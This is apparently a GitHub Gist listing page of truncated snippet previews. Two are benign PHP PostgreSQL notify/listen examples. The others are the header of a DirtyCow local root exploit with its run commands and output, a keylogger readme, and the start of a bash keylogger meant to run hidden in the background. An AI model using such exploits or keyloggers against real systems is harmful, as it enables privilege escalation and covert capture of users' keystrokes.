Skip to content

Instantly share code, notes, and snippets.

@tzmfreedom
tzmfreedom / pg_notify.php
Last active March 8, 2023 23:09
postgresql notify/listen sample
<?php
$db = new PDO(
"pgsql:dbname=postgres host=localhost port=5432", 'postgres', 'postgres', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]
);
$db->exec('LISTEN hoge');
@rverton
rverton / cowroot.c
Created October 21, 2016 14:06
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
------------------------------------------------------------PLEASE READ THIS------------------------------------------------------------
I got the python from tinkernut and edited it a lot.
I then got the c# from http://null-byte.wonderhowto.com/how-to/create-simple-hidden-console-keylogger-c-sharp-0132757/.
this is open source so you may redistribute it anywhere and edit it how you like.
DO NOT USE IT ILLIGALY. I WILL NOT BE HELD RESPONSIBLE ILLIGAL USE.
@atcasanova
atcasanova / keylogger.sh
Created September 19, 2019 19:04
simple no-root bash keylogger (easier than you thought)
#!/bin/bash
# you'll have to get your keyboard id from xinput --list
# then start it like nohup ./keyboard.sh & and write down the pid
# shown. When you're done, just kill $pid and it will print the recorded
# keystrokes
handler(){
killall -9 xinput
while read line; do
sed "s|$line|${mapa[$line]}|" <<< $line
@2ec0b4
2ec0b4 / listener.php
Created December 13, 2019 10:38
PostgreSQL Notifier with a PHP Listener
<?php
set_time_limit(0);
$db = new PDO(
'pgsql:dbname=dbname host=host port=5432;options=--application_name=APPLICATION_NAME',
'user',
'password',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,